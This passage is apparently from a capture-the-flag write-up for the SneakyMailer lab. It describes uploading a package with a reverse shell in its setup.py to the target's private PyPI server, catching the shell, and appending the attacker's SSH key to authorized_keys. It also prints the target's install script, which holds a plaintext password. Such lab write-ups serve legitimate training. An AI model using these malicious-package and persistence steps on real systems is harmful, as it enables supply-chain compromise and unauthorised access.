Malicious PIP Package Upload
Earlier, I found out that a private PyPi server is hosted on the port 8080
under the virtual host, pypi.sneakycorp.htb
I was able to authenticate to the service using the credentials from the .htpasswd
file.
As the target PyPi server support both package indexing and uploading, it’s totally possible to exploit this feature by installing a malicious pip package.
Creating A Private Python Package
Linode published a step-by-step guide on creating a Python package, which later can be uploaded to a PyPi Server
┌──(kali㉿kali)-[~/archive/htb/labs/sneakymailer]
└─$ tree sneaky
sneaky
├── README.md
├── setup.cfg
├── setup.py
└── sneaky
└── __init__.py
2 directories, 4 files
I followed through the guide by Linode and generate the very same structure.
The only difference here is that all the files are empty except for the setup.py
file
The setup.py
file contains a reverse shell
setup.py
Later during the installation process, the
Sneaky.run(self)
function here will be invoked, effectively spawning a reverse shell to a listener on Kali
Compression
┌──(kali㉿kali)-[~/…/htb/labs/sneakymailer/sneaky]
└─$ python3 setup.py sdist
running sdist
running egg_info
creating sneaky.egg-info
writing sneaky.egg-info/PKG-INFO
writing dependency_links to sneaky.egg-info/dependency_links.txt
writing top-level names to sneaky.egg-info/top_level.txt
writing manifest file 'sneaky.egg-info/SOURCES.txt'
reading manifest file 'sneaky.egg-info/SOURCES.txt'
writing manifest file 'sneaky.egg-info/SOURCES.txt'
running check
creating sneaky-0.0.0
creating sneaky-0.0.0/sneaky
creating sneaky-0.0.0/sneaky.egg-info
copying files to sneaky-0.0.0...
copying README.md -> sneaky-0.0.0
copying setup.cfg -> sneaky-0.0.0
copying setup.py -> sneaky-0.0.0
copying sneaky/__init__.py -> sneaky-0.0.0/sneaky
copying sneaky.egg-info/PKG-INFO -> sneaky-0.0.0/sneaky.egg-info
copying sneaky.egg-info/SOURCES.txt -> sneaky-0.0.0/sneaky.egg-info
copying sneaky.egg-info/dependency_links.txt -> sneaky-0.0.0/sneaky.egg-info
copying sneaky.egg-info/top_level.txt -> sneaky-0.0.0/sneaky.egg-info
Writing sneaky-0.0.0/setup.cfg
creating dist
Creating tar archive
removing 'sneaky-0.0.0' (and everything under it)
Python packages need compression to be used through PIP
This can be achieved via the sdist
(source distribution) command
┌──(kali㉿kali)-[~/…/htb/labs/sneakymailer/sneaky]
└─$ ls
dist README.md setup.cfg setup.py sneaky sneaky.egg-info
┌──(kali㉿kali)-[~/…/htb/labs/sneakymailer/sneaky]
└─$ ls dist
sneaky-0.0.0.tar.gz
Running the sdist
command generates 2 directories.
The dist
directory is what contains the actual compressed package, and the sneaky.egg-info
directory contains a few metadata files about the package
Now that the package is ready for delivery, I need to setup the remote-uploading. Linode also provides a very detailed step-by-step guide for that
Upload
I just need to create a file named,
.pypirc
, to the home directory
In this case, I am not distributing the package to the official PyPi repo, but a private PyPi repository that is running a pypiserver on the target system I also put up the SneakyMailer info that I cracked earlier.
I will get the process for confirmation
developer@sneakymailer:~/dev$ ps -aux | grep -i 'pypi' --color=auto
pypi 748 0.0 0.6 36932 26212 ? ss 03:15 0:34 /var/www/pypi.sneakycorp.htb/venv/bin/python3 /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server -i 127.0.0.1 -p 5000 -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd --disable-fallback -o /var/www/pypi.sneakycorp.htb/packages
pypi-server is running in the background, executed by the pypi
user, on the localhost:5000
socket with its authentication configured.
- The
--disable-fallback
flag prevents the server from bringing out system’s package in case the requested package isn’t available - The
-o
flag defines the directory where packages are located - it’s on the
locallhost:5000
socket, but this is re-routed through a proxy onpypi.sneakycorp.htb:8080
over HTTP
Nevertheless, I will now upload the package to the target PyPi repository
┌──(kali㉿kali)-[~/…/htb/labs/sneakymailer/sneaky]
└─$ python3 setup.py sdist upload -r sneakycorp
running sdist
running egg_info
writing sneaky.egg-info/PKG-INFO
writing dependency_links to sneaky.egg-info/dependency_links.txt
writing top-level names to sneaky.egg-info/top_level.txt
reading manifest file 'sneaky.egg-info/SOURCES.txt'
writing manifest file 'sneaky.egg-info/SOURCES.txt'
running check
creating sneaky-0.0.0
creating sneaky-0.0.0/sneaky
creating sneaky-0.0.0/sneaky.egg-info
copying files to sneaky-0.0.0...
copying README.md -> sneaky-0.0.0
copying setup.cfg -> sneaky-0.0.0
copying setup.py -> sneaky-0.0.0
copying sneaky/__init__.py -> sneaky-0.0.0/sneaky
copying sneaky.egg-info/PKG-INFO -> sneaky-0.0.0/sneaky.egg-info
copying sneaky.egg-info/SOURCES.txt -> sneaky-0.0.0/sneaky.egg-info
copying sneaky.egg-info/dependency_links.txt -> sneaky-0.0.0/sneaky.egg-info
copying sneaky.egg-info/top_level.txt -> sneaky-0.0.0/sneaky.egg-info
Writing sneaky-0.0.0/setup.cfg
Creating tar archive
removing 'sneaky-0.0.0' (and everything under it)
running upload
submitting dist/sneaky-0.0.0.tar.gz to http://pypi.sneakycorp.htb:8080
server response (200): OK
The package is successfully uploaded
Code Execution
I can confirm that the package is now present in the target PyPi repository
┌──(kali㉿kali)-[~/archive/htb/labs/sneakymailer]
└─$ nnc 8888
listening on [any] 8888 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.197] 41578
whoami
low
hostname
sneakymailer
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.197 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 fe80::250:56ff:feb9:f04c prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:feb9:f04c prefixlen 64 scopeid 0x0<global>
ether 00:50:56:b9:f0:4c txqueuelen 1000 (Ethernet)
RX packets 3057878 bytes 586424251 (559.2 MiB)
RX errors 0 dropped 45 overruns 0 frame 0
TX packets 3046633 bytes 1123597358 (1.0 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 262391 bytes 29403231 (28.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 262391 bytes 29403231 (28.0 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
and I got the reverse shell
Since the session is not as clean and might get flushed, I will write my key to the SSH file of the low
user
low@sneakymailer:~$ cd .ssh
low@sneakymailer:~/.ssh$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGoUoI9LYwEoMSDFaLZNQ51dLFNZf27nQjV7fooImm5g kali@kali' >> authorized_keys
That’s it. Now I should be able to connect to the target system via SSH using my own key
┌──(kali㉿kali)-[~/archive/htb/labs/sneakymailer]
└─$ ssh low@$IP -i ~/.ssh/id_ed25519
Enter passphrase for key '/home/kali/.ssh/id_ed25519':
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Tue Jun 9 03:02:52 2020 from 192.168.56.105
low@sneakymailer:~$ whoami
low
low@sneakymailer:~$ hostname
sneakymailer
low@sneakymailer:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:f0:4c brd ff:ff:ff:ff:ff:ff
inet 10.10.10.197/24 brd 10.10.10.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:f04c/64 scope global dynamic mngtmpaddr
valid_lft 86396sec preferred_lft 14396sec
inet6 fe80::250:56ff:feb9:f04c/64 scope link
valid_lft forever preferred_lft forever
Lateral Movement made to the low
user via uploading a malicious PIP package
how?
Uploading the package alone somewhat ran the Python code(reverse shell) that I wrote and gave me a shell
Another interesting thing is that the package that I upload gets deleted pretty much immediately
So I had to re-upload the package several times
The execution was made possible because of this.
The
low
user was tasked to run and delete all the Python module in the PyPi service.
low@sneakymailer:/opt/scripts/low$ ll
total 16K
4.0K drwxr-x--- 2 root low 4.0K Jun 23 2020 .
4.0K -rwxr-x--- 1 root low 1.8K Jun 23 2020 install-modules.py
4.0K -rwxr-x--- 1 root low 71 Jun 8 2020 install-module.sh
4.0K drwxr-xr-x 5 root root 4.0K May 26 2020 ..
These 2 scripts are responsible for that.
install-modules.py
low@sneakymailer:/opt/scripts/low$ cat install-modules.py
import pty
import requests
import subprocess
import re
import threading
import os
import tempfile
import time
username = "pypi"
password = "soufianeelhaoui"
active_threads = 0
max_threads = 5
def get_modules_file() -> tuple:
response = requests.get("http://pypi.sneakycorp.htb:8080/packages/", auth=(username, password))
return tuple(map(lambda module: module[1:-3], re.findall(r">.+<\/a", response.text)))
def uninstall_module(file_name: str):
subprocess.run(f"/home/low/venv/bin/pip uninstall {file_name.replace('.tar.gz', '')}", shell=True)
os.remove(f"/var/www/pypi.sneakycorp.htb/packages/{file_name}")
def install_module(file_name: str):
with tempfile.TemporaryDirectory() as temporary_folder:
# Decompress the tar
subprocess.run(f"/usr/bin/tar -C {temporary_folder} -zxf /var/www/pypi.sneakycorp.htb/packages/{file_name}", shell=True)
# Run the installation process
subprocess.run(f"/usr/bin/screen -d -m /opt/scripts/low/install-module.sh {temporary_folder}/{file_name.replace('.tar.gz', '')}/setup.py &", shell=True)
time.sleep(3)
def process_module(file_name: str):
global active_threads
try:
install_module(file_name)
except:
pass
try:
uninstall_module(file_name)
except:
pass
active_threads -= 1
exit(0)
def main():
global active_threads
while True:
modules_files = get_modules_file()
for file_name in modules_files:
while active_threads > max_threads:
pass
threading.Thread(target=process_module, args=(file_name,)).start()
# process_module(file_name)
active_threads += 1
time.sleep(5)
while active_threads > 0:
pass
if __name__ == "__main__":
main()
install-module.sh
low@sneakymailer:/opt/scripts/low$ cat install-module.sh
#!/bin/bash
# install the module
/home/low/venv/bin/python $1 install